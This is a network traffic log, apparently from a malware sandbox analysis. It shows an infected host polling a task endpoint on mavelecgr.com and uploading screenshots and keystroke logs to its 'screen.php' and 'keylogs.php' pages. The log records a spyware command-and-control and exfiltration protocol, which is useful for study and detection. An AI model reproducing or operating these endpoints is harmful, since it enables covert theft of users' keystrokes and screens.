Feb 21, 2023 07:08:11.002795935 CET	9356	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:10 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:11.115545988 CET	9356	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:11.160815954 CET	9357	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:11 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:11.263806105 CET	9357	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:11.309989929 CET	9357	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:11 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:11.412839890 CET	9357	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:11.458026886 CET	9357	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:11 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:11.583765030 CET	9358	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:11.629085064 CET	9358	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:11 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:11.936271906 CET	9358	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:11.981864929 CET	9358	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:11 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:12.129344940 CET	9358	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:12.175802946 CET	9359	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:12 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:12.277303934 CET	9359	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:12.322494030 CET	9359	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:12 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:12.622030020 CET	9359	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:12.667709112 CET	9360	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:12 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:12.796020031 CET	9360	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:12.841775894 CET	9360	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:12 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:13.036119938 CET	9360	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:13.085338116 CET	9360	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:13 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:13.226095915 CET	9360	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:13.272070885 CET	9361	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:13 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:13.413003922 CET	9361	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:13.458926916 CET	9361	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:13 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:13.583122969 CET	9361	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:13.628320932 CET	9361	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:13 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:14.054567099 CET	9362	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e3c91a2a24 Host: mavelecgr.com Content-Length: 51272 Expect: 100-continue
Feb 21, 2023 07:08:14.097887039 CET	9362	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:14.187243938 CET	9414	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:14 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:14.219651937 CET	9414	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e3cdef2577 Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:08:14.262860060 CET	9414	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:14.392530918 CET	9416	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:14 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:14.521322012 CET	9416	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:14.566762924 CET	9416	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:14 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:18.057058096 CET	9417	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e3edc758a4 Host: mavelecgr.com Content-Length: 51130 Expect: 100-continue
Feb 21, 2023 07:08:18.100594997 CET	9417	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:18.304164886 CET	9468	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:18 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:18.317557096 CET	9469	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e3eded7d25 Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:08:18.360905886 CET	9469	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:18.505872965 CET	9469	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:18 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:18.632869005 CET	9470	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:18.678313017 CET	9470	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:18 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:18.835665941 CET	9470	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:18.880846024 CET	9470	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:18 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:19.222357988 CET	9470	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:19.268188000 CET	9471	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:19 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:19.385585070 CET	9471	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:19.430887938 CET	9471	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:19 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:19.590153933 CET	9471	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:19.635412931 CET	9472	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:19 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:19.783647060 CET	9472	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:19.828901052 CET	9472	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:19 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:19.991343975 CET	9472	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:20.037862062 CET	9473	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:20.211404085 CET	9473	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:20.256804943 CET	9473	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:20.764231920 CET	9479	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e3ef63b5b5 Host: mavelecgr.com Content-Length: 51130 Expect: 100-continue
Feb 21, 2023 07:08:20.807455063 CET	9479	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:20.896787882 CET	9530	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:20 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:20.905713081 CET	9531	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e3ef792b70 Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:08:20.948944092 CET	9531	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:21.076997995 CET	9532	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:21 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:21.222378969 CET	9532	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:21.268245935 CET	9532	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:21 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:21.285551071 CET	9532	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e3efb0013b Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:08:21.328778982 CET	9532	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:21.457499981 CET	9533	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:21 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:21.585154057 CET	9533	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:21.630656958 CET	9533	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:21 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:21.743108988 CET	9534	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:21.788825035 CET	9534	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:21 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:21.944451094 CET	9535	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:21.989510059 CET	9535	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:21 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:22.106631041 CET	9535	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:22.152026892 CET	9536	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:22 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:22.254193068 CET	9536	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:22.299640894 CET	9536	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:22 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:22.402333975 CET	9536	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:22.448016882 CET	9536	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:22 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:22.551222086 CET	9537	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:22.596673965 CET	9537	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:22 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:22.742748022 CET	9537	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e424af59da Host: mavelecgr.com Content-Length: 51130 Expect: 100-continue
Feb 21, 2023 07:08:22.786120892 CET	9537	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:22.875734091 CET	9589	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:22 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:22.900144100 CET	9589	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e43592edba Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:08:22.943537951 CET	9589	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:23.072525024 CET	9590	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:23 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:23.180862904 CET	9590	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:23.226164103 CET	9590	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:23 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:23.385596991 CET	9591	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e456938e66 Host: mavelecgr.com Content-Length: 51130 Expect: 100-continue
Feb 21, 2023 07:08:23.428909063 CET	9591	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:23.524729013 CET	9642	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:23 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:23.559933901 CET	9643	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e45eabcfb6 Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:08:23.603307962 CET	9643	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:23.731214046 CET	9644	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:23 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:24.039747953 CET	9644	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:24.086013079 CET	9644	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:24 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:24.210602999 CET	9644	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:24.256501913 CET	9644	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:24 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:24.406642914 CET	9645	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:24.452136040 CET	9645	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:24 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:24.749082088 CET	9645	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:24.795717001 CET	9645	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:24 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:24.913768053 CET	9645	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:24.959300041 CET	9646	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:24 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:25.097274065 CET	9646	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:25.143044949 CET	9646	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:25 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:25.284821033 CET	9646	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:25.330787897 CET	9647	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:25 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:26.740021944 CET	9647	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e4b845ad69 Host: mavelecgr.com Content-Length: 50736 Expect: 100-continue
Feb 21, 2023 07:08:26.783241034 CET	9647	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:26.872680902 CET	9698	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:26 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:26.893434048 CET	9699	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e4be70e3ab Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:08:26.936886072 CET	9699	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:27.065465927 CET	9699	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:27 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:27.180346012 CET	9700	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:27.225758076 CET	9700	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
